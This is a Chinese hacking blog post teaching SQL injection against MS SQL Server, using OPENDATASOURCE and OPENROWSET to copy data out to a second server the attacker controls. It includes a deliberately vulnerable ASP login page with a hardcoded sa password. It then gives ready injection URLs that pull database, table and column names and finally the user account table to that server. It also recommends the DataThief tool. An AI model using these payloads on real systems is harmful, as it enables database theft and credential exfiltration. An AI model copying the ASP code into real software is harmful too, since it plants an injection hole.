• 2007/05/14SQL INJECTION的终极利器opendatasource和openrowset

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://www.blogbus.com/h4ck3r-logs/5365803.html

    作者:LCX

      目前市面上的SQL INECTION工具很多,最受推崇的当属NBSI了。SQL INECTION的方法在网上是也是满天飞,大家仔细学一下都会很快的成为脚本入侵高手。可是无论是工具,还是众多方法,猜SQL数据的时候原理不外乎两种。一个是对方的WEB服务器在没有关闭错误提示的时候是用让SQL出错来暴出想要的信息;一个是在对方的WEB服务器关闭错误提示的时候采用ASCII码拆半分法分析。当关闭错误提示的时候,这时来猜数据就很慢了,遇到网速蜗牛的时候真是急死人,NBSI此时还经常会出现猜解错误是否要重试的警告对话框。如果我来告诉你,有了opendatasource和openrowset这两个函数,一切问题都应刃而解了。
      在SQL联机从书的解释中,对没有定义为链接服务器名称的 OLE DB 数据源执行不常用查询时,使用特殊名称。在 SQL Server 2000 中,OPENROWSET 和 OPENDATASOURCE 函数提供了连接信息,借以从 OLE DB 数据源访问数据。OPENROWSET 和 OPENDATASOURCE 只应在引用不常访问的 OLE DB 数据源时使用。对于需要经常访问的数据源,应定义链接服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接服务器定义的全部功能,包括安全管理和查询目录信息的能力。每次调用这些函数时,都必须提供所有的连接信息(包括密码)。OPENROWSET 和 OPENDATASOURCE 看起来象函数,但其实是宏并且不支持将 Transact-SQL 变量提供为参数。
      简单来讲,这两个宏也就是不依靠链接服务器来进行分布式查循。
      因为用openrowset函数来直接获取注入数据库的信息的工具已经有了,我就不做详细介绍了,在文章尾我会介绍此工具的用法的,我这里着重来介绍一下opendatasource的使用。联机从书对OPENDATASOURCE宏的用法示例格式如下:
    SELECT *
    FROM OPENDATASOURCE(
     'SQLOLEDB',
     'Data Source=ServerName;User ID=MyUID;Password=MyPass'
     ).Northwind.dbo.Categories
      想到了没有,我们完全可以用此语句获得注入数据库的库名、表名、列名、字段值的所有信息。如果你还是不明白,那就来看我表演。
      我在192.168.8.10这台服务器上构建了一个测试环境,写了一个有漏洞的ASP代码。两段代码中的e.asp代码如下:
    <form action=f.asp method=get>
    帐号lcx<br>
    密码<input type=text size=100 name=password>
    <input type=submit value=submit>
    </form>
    效果如图1所示:

    f.asp代码如下:
    <%    
    strSQLServerName = "127.0.0.1"
    strSQLDBUserName = "sa"
    strSQLDBPassword = "lcx"
    strSQLDBName = "bbsuser"
    Set conn = Server.CreateObject("ADODB.Connection")
    strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
    conn.open strCon
    sql2="select * from bbsuser where username='admin' and password='"&request("password")&"'"
    set rs2=conn.execute(sql2)
    %>
    <br>
    <%=" 执行的SQL语句是"&sql2%>
    <%
    rs2.close
    set rs2=nothing
    conn.close
    set conn=nothing
    %>
      当在图1中的文本框提交1’and db_name()>0—的时候,效果如图2所示:

      OK,测试环境构建完毕。我又在另一台服务器192.168.8.20装了一个sqlserver,sa的密码是lcx。因为opendatasource宏走得是TCP协议,所以你要保证192.168.8.20的1433端口 一定要被192.168.8.10访问到。Sqlserver sp2版本如果默认装在xp sp2下的话1433端口不会被外界访问到的,这一点你要注意,建议打上SQL的SP3补丁。
    第一步:得到当前所有库名
      我们先在192.168.8.20上建库名和表名,你如果在企业管理器图形界面下安装我也不反对,我是直接的查循分析器写的语句:
    create database lcx
    CREATE TABLE ku(name nvarchar(256) null);
    CREATE TABLE biao(id int NULL,name nvarchar(256) null);
      这样我们就建好了一个库名是lcx,有两个表分别是ku和biao。Ku这个表存放了一个列名是name,类型是nvarchar(256);biao这个表存放了两个列名,分别是int型的id和nvarchar(256)型的name列名。这里的库名、表名、列名的名字都是随便定的,你只要保证类型对就可以了。
      我们先来温习一下得到所有库名的SQL语句,代码是select name from master.dbo.sysdatabases。如果你现在还不懂这句代码的话,可要恶补一下了。我们用一条语句得到192.168.8.10服务器上的所有数据库名。
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select name from master.dbo.sysdatabases--
    在我们的测试环境上就是:
    http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases—
    效果如图3所示:

    此时你跑去192.168.8.20的SQL上看一下KU这个表,你会惊奇发现对方所有的库名已经整齐的排好了,图4。

    说到这里很多人可能又要担心权限问题了,我可以放心的告诉你,在public权限下也可以用opendatasource这个宏的。那么得到所有的库了,你怎么才能知那个是当前库呢?哈,你把语句换一下不就得了,换成
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select db_name(0)--
    不就可以了吗?在图4中,bbsuser是我们的注入的当前库,我们来获得当前库的所有表名。

    第二步:得到当前库的所有表名
    语句为:
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
    这个语句省略了当前库名,得到就是当前库的所有表名。你也可以把语句换成:
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from bbsuser.dbo.sysobjects where xtype='U'--
    我们来做下测试,语句效果图如图5所示:

    此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?图6

    是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格式如下:
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--
    这里的库名我们在第一大步已经猜出来了。

    第三步:获取列名
    在图6中看没有看到,我们获得的第一个列名是bbsuser,其ID值是357576312.。有了这两条信息,我们来获取列名吧。在获取列名之前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句:
    select * into [tmpcolumns] from syscolumns where 1=2
    这样会把系统表syscolumns的结构复制给[tmpcolumns]。做法示例图7。

    我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.tmpcolumns select * from
    syscolumns where id=357576312--
    注入效果如图9所示:

    再回到192.168.8.20上来看一下lcx.dbo.tmpcolum这个表,里边是什么内容(图10):

    看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做好了准备。这里我只解释图10中的两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问了,为什么获取的类型怎么都是56、175这样的数字呢? 我查了一些资料,找到了数字与类型对应的关系,关系表如下:
    when 34 then ''image''
    when 35 then ''text''
    when 52 then ''smallint''
    when 56 then ‘int''
    when 61 then ''datetime''
    when 62 then ''float''
    when 108 then ''numeric''
    when 167 then ''varchar''
    when 175 then ''char''
    when 231 then ''nvarchar''

    第四步:获取字段值
    有了注入数据库的当前库名、表名、列名的所有信息后,我们就可以获取这段值了。我们先在192.168.8.20上根据在图10中获得的信息在lcx这个库来建一个新表bbsuser,列名分别是id(int类型长度是4)、username(char类型长度是10)、password(char类型长度是10)。如果你不明白这步,你仔细看一下图10和那个数字与类型的对照表。我在192.168.8.20的企业管理器上已经建好了,如图11所示:

    获取注入数据库当前库所有信息的工作就要一步到位了,注入语句如下:
    insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
    在注入点上执行就是:
    http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
    示例是图12

    我们来看一下终竟成没有成功,赶快到192.168.8.20上的lcx.dbo.bbsuser上去抓个图,自然是成功了的,图13

    这样我们一步一步地把注入点的当前库所有的信息全部搬到我们本地来了。最后一步我要说明的是你获取字段值的时候,建的表名、列名不一定要与注入库的完全一样,只要类型相符就可以了。
    可能你说我的方法虽然不错,但毕竟没有工具爽。不过,我这里我要告诉你,目前我还没有见到用opendatasource来获取注入信息的工具,倒是用openrowset来获取注入信息的工具我已经找到了。下边我就来简单介绍一下它的用法。

    第五步:openrowset工具用法介绍
    工具是老外写的,名字是DataThiefV1.0.exe,好像在安全焦点上有下的。软件运行界面如图14所示:

    像我要注入我构建的环境 http://192.168.8.10/web/f.asp?password=1 ,我的用法如图15所示:

    这里做下简要说明。如果你注入的是字符型的话,在URL地址里要写 http://192.168.8.10/web/f.asp?password=1&#39;; <***> 这样的格式,要带单引号。如果是数字型的话,就要写成了 http://192.168.8.10/web/f.asp?password=1; <***> 去掉单引号了。
    点go,获取信息的速度真是飞快呀(图16)。

    如果你对openrowset这个宏不了解的话,你自己抓包分析吧,我就不再罗索了。
    最后希望这篇文章对大家实现注入的方法多一种思路和启发,在这篇文章的基础上来进一步探索opendatasource和openrowset的用法。
    2005 年4月7号
    分享到:

    评论

  • 兄弟,写的很好,只是我看到的晚了点,希望能交个朋友,跟你学的东西(真正的技术).





    我的QQ:329298376